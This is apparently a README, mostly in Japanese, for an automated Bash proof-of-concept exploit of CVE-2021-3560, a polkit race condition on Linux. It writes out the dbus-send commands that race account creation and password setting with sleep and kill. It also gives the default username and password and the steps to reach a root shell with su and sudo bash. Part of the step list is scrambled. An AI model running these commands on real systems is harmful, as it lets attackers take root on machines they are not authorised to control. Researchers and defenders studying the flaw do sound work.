
CVE-2021-3560 polkit 権限昇格のための自動化された Bash PoC。dbus のタイミング競合状態を悪用して、sudo ユーザーを作成し、脆弱な Linux ディストリビューション上で root シェルを取得します。
これはKevin Backhouseのブログで述べられている悪用手順を自動化するBash PoCスクリプトです。 この脆弱性に関する彼の記事を読む: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
USAGE:
./poc.sh
-h --help
-u=Enter custom username to insert (OPTIONAL)
-p=Enter custom password to insert (OPTIONAL)
-f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
-t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'
accountsserviceとgnome-control-centerがインストールされたディストリビューションでのみ動作し、polkitバージョン0.113(以降)または0-105-26(Debian版のpolkit)がインストールされている必要があります。Ubuntu 20.04(polkitバージョン0-105-26、Debian版)およびCentos 8(polkitバージョン0.115)でテストされています。対象が脆弱であると確信しているが、エクスプロイトのチェック機能が失敗する場合は、-f=yフラグを使用してすべてのチェックをバイパスし、エクスプロイトを強制できます。詳細な手動エクスプロイトの説明とPoCは、研究者のブログに詳細に記載されています。
このエクスプロイトのTL;DRは以下の通りです:
polkitがリクエストを処理中にdbusメッセージを送信してpolkitをトリガーし、リクエストを突然閉じることでこの脆弱性を悪用できます。その後、攻撃者は前のリクエストのユニークなバス識別子を使用して2番目のリクエストを送信し、UID 0(別名root)としてリクエストを実行できます。polkitが存在しなくなったバス識別子を持つ接続のUIDをUID 0からのリクエストとして扱うために存在します。つまり、攻撃のタイミングを正しく合わせ、最初のリクエストを適切な瞬間に終了できれば、2番目のリクエストをUID 0(別名root)の権限で実行できます。先ほど述べたように、これはKevin BackhouseのPoCを自動化するbashスクリプトです。コアコマンドは同じですが、いくつかの初期ステップ(タイミングの調整、脆弱性のスキャン、カスタム認証情報の挿入、カラー表示など)を自動化しています。
このスクリプトがパラメータなしで実行された場合のデフォルトの動作は以下の通りです:
/etc/os-releaseファイルを使用]accountserviceとgnome-control-centerのインストールを確認します。[rhel/centos/fedoraではrpm -qa、debian/ubuntuディストリビューションではdpkg -lを使用]rhel.centos,fedoraでは0.113(以降)、Debian/Ubuntuでは0-105-26]bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null $t)を、リクエストに必要な時間を2で割って計算します。()[awkを使用して計算]su - <username>でアカウントにログインし、sudo bashを実行してrootシェルを取得できます!Escキーを押して認証プロンプトを閉じ、Ctrl+Cでスクリプトをすばやく終了してください。$t=time-required-to-request/2$t)が計算された後、ターゲットに$username secnigmaを挿入するリクエストが20回繰り返されます。 bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $! id secnigmaで確認)、パスワードハッシュが生成されます[bash openssl passwd -5 `echo -n $password` を使用]。($password=secnigmaftw)bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!